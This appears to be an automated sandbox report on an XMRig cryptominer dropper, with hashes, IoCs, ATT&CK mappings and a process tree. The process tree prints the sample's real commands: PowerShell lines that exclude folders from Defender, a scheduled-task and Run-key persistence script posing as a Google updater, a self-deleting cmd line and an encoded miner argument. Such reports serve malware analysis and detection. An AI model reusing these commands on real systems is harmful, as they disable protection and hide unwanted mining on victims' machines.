xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
476s
max time network
1786s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:21

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General

Target

qM5GMXBk6hJE6Y5e (30).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2480 created 1204	2480	qM5GMXBk6hJE6Y5e (30).exe	17
PID 2480 created 1204	2480	qM5GMXBk6hJE6Y5e (30).exe	17
PID 2480 created 1204	2480	qM5GMXBk6hJE6Y5e (30).exe	17
PID 2480 created 1204	2480	qM5GMXBk6hJE6Y5e (30).exe	17
PID 2972 created 1204	2972	updater.exe	17
PID 2972 created 1204	2972	updater.exe	17
PID 2972 created 1204	2972	updater.exe	17
PID 2972 created 1204	2972	updater.exe	17
PID 2812 created 1204	2812	conhost.exe	17
PID 2972 created 1204	2972	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral31/memory/2076-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2076-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2668	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2972	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1520	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/2076-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2076-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2972 set thread context of 2812	2972	updater.exe	53
PID 2972 set thread context of 2076	2972	updater.exe	49

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (30).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2968	schtasks.exe
2808	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1816	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 400d4c37f54eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2480	qM5GMXBk6hJE6Y5e (30).exe
2480	qM5GMXBk6hJE6Y5e (30).exe
3016	powershell.exe
2480	qM5GMXBk6hJE6Y5e (30).exe
2480	qM5GMXBk6hJE6Y5e (30).exe
3040	powershell.exe
2480	qM5GMXBk6hJE6Y5e (30).exe
2480	qM5GMXBk6hJE6Y5e (30).exe
2480	qM5GMXBk6hJE6Y5e (30).exe
2480	qM5GMXBk6hJE6Y5e (30).exe
2728	powershell.exe
2972	updater.exe
2972	updater.exe
848	powershell.exe
2972	updater.exe
2972	updater.exe
1260	powershell.exe
2972	updater.exe
2972	updater.exe
2972	updater.exe
2972	updater.exe
2812	conhost.exe
2812	conhost.exe
2972	updater.exe
2972	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	2972	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeSecurityPrivilege	1816	WMIC.exe
Token: SeTakeOwnershipPrivilege	1816	WMIC.exe
Token: SeLoadDriverPrivilege	1816	WMIC.exe
Token: SeSystemtimePrivilege	1816	WMIC.exe
Token: SeBackupPrivilege	1816	WMIC.exe
Token: SeRestorePrivilege	1816	WMIC.exe
Token: SeShutdownPrivilege	1816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1816	WMIC.exe
Token: SeUndockPrivilege	1816	WMIC.exe
Token: SeManageVolumePrivilege	1816	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeSecurityPrivilege	1816	WMIC.exe
Token: SeTakeOwnershipPrivilege	1816	WMIC.exe
Token: SeLoadDriverPrivilege	1816	WMIC.exe
Token: SeSystemtimePrivilege	1816	WMIC.exe
Token: SeBackupPrivilege	1816	WMIC.exe
Token: SeRestorePrivilege	1816	WMIC.exe
Token: SeShutdownPrivilege	1816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1816	WMIC.exe
Token: SeUndockPrivilege	1816	WMIC.exe
Token: SeManageVolumePrivilege	1816	WMIC.exe
Token: SeLockMemoryPrivilege	2076	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2968	3040	powershell.exe	32
PID 3040 wrote to memory of 2968	3040	powershell.exe	32
PID 3040 wrote to memory of 2968	3040	powershell.exe	32
PID 2668 wrote to memory of 2568	2668	cmd.exe	36
PID 2668 wrote to memory of 2568	2668	cmd.exe	36
PID 2668 wrote to memory of 2568	2668	cmd.exe	36
PID 2728 wrote to memory of 2216	2728	powershell.exe	34
PID 2728 wrote to memory of 2216	2728	powershell.exe	34
PID 2728 wrote to memory of 2216	2728	powershell.exe	34
PID 1520 wrote to memory of 2972	1520	taskeng.exe	35
PID 1520 wrote to memory of 2972	1520	taskeng.exe	35
PID 1520 wrote to memory of 2972	1520	taskeng.exe	35
PID 1260 wrote to memory of 2808	1260	powershell.exe	45
PID 1260 wrote to memory of 2808	1260	powershell.exe	45
PID 1260 wrote to memory of 2808	1260	powershell.exe	45
PID 2972 wrote to memory of 2812	2972	updater.exe	53
PID 684 wrote to memory of 1816	684	cmd.exe	46
PID 684 wrote to memory of 1816	684	cmd.exe	46
PID 684 wrote to memory of 1816	684	cmd.exe	46
PID 2972 wrote to memory of 2076	2972	updater.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (30).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (30).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2968
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (30).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1260
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2808
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2076
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:336
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:684
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2812

C:\Windows\system32\taskeng.exe
taskeng.exe {042B8058-3B1D-43BA-85A7-461AF24B1CC8} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2972

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2216

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2568

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
619KB

MD5
bff629fe07c37d84ac32c733642198b1

SHA1
7d6da3ded91572c4dc4b514cd199aaa9f0ed28da

SHA256
b864c46c0a627a303511a254b70c1a6404a2a7a57692e458ecdb9a48b9bb1c1e

SHA512
7cbcac9314a5061e4aea4743677c633ad7b255c0015308e2597fc1233628d27b62d20fac34a46688673e62523f9fbac83484b0c6d78571ad2a5fa6a6ea40ecf6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
afdfc2d8e3c820efa254de995be127a1

SHA1
773be21a816653457c1c98535fcc110452a88996

SHA256
3b442ce5d7b3cc5f1facc644a8803fea50c867d96f15be5b16837cc09b7448fd

SHA512
12b1bf404bd6d09bc8148ca473c5178803301cc658d928ae058dbbadee5e25742828d44e8e853245a9e51b95c7af9b11fb69894529acb1ab71057a73b1238ab0

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBB8JATJDX8WEAQG2BWA.temp

Filesize
7KB

MD5
e7b7f4486164556ca3839d44da31f9bf

SHA1
9ca738b099b5cbc4753a2c0dbdc6a9ef7acff919

SHA256
fb28b6f79e467052bc2eb00a83368e972e856752d6c91f73f60c0a7506180617

SHA512
177c0e87feeebe914ee4adcfd66db844dd6838c22d438e8aeda7135255694b9ef5288cced69706dfe27fce4458505a4c2edd992d8cf33fc31ef66f276c08c578

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
702KB

MD5
bcd05ff40edc8b0b8c494ff2dd2a821e

SHA1
a2a7da00e4ff9ca82be7caad70af7b64c9897964

SHA256
118696594bb77b86673bf0fa06359f7f643c645ab06e75e82f94fe23cebd3755

SHA512
a538205d5b1a52f10f87b22ff1980766f38f4c923f69d193c29c7de93751098da016ae674b398fce1a566f1a33e72beb402867251b6e9e49e2968de8bb9c31bb

Download Submit
memory/848-48-0x0000000001600000-0x0000000001680000-memory.dmp

Filesize
512KB

Download
memory/848-51-0x0000000001604000-0x0000000001607000-memory.dmp

Filesize
12KB

Download
memory/848-47-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/848-49-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/848-52-0x0000000001600000-0x0000000001680000-memory.dmp

Filesize
512KB

Download
memory/848-53-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/848-50-0x0000000001600000-0x0000000001680000-memory.dmp

Filesize
512KB

Download
memory/1260-56-0x0000000001540000-0x00000000015C0000-memory.dmp

Filesize
512KB

Download
memory/1260-55-0x0000000001540000-0x00000000015C0000-memory.dmp

Filesize
512KB

Download
memory/1260-59-0x0000000001540000-0x00000000015C0000-memory.dmp

Filesize
512KB

Download
memory/1260-54-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/1260-57-0x0000000001540000-0x00000000015C0000-memory.dmp

Filesize
512KB

Download
memory/1260-58-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/1260-60-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-77-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/2076-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-68-0x0000000000150000-0x0000000000170000-memory.dmp

Filesize
128KB

Download
memory/2076-76-0x0000000000280000-0x00000000002A0000-memory.dmp

Filesize
128KB

Download
memory/2076-70-0x0000000000280000-0x00000000002A0000-memory.dmp

Filesize
128KB

Download
memory/2076-71-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/2076-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2076-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2480-29-0x000000013F2F0000-0x000000013F501000-memory.dmp

Filesize
2.1MB

Download
memory/2480-0-0x000000013F2F0000-0x000000013F501000-memory.dmp

Filesize
2.1MB

Download
memory/2728-37-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2728-38-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-41-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2728-40-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2728-42-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-39-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2728-36-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-78-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2812-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2972-46-0x000000013F0C0000-0x000000013F2D1000-memory.dmp

Filesize
2.1MB

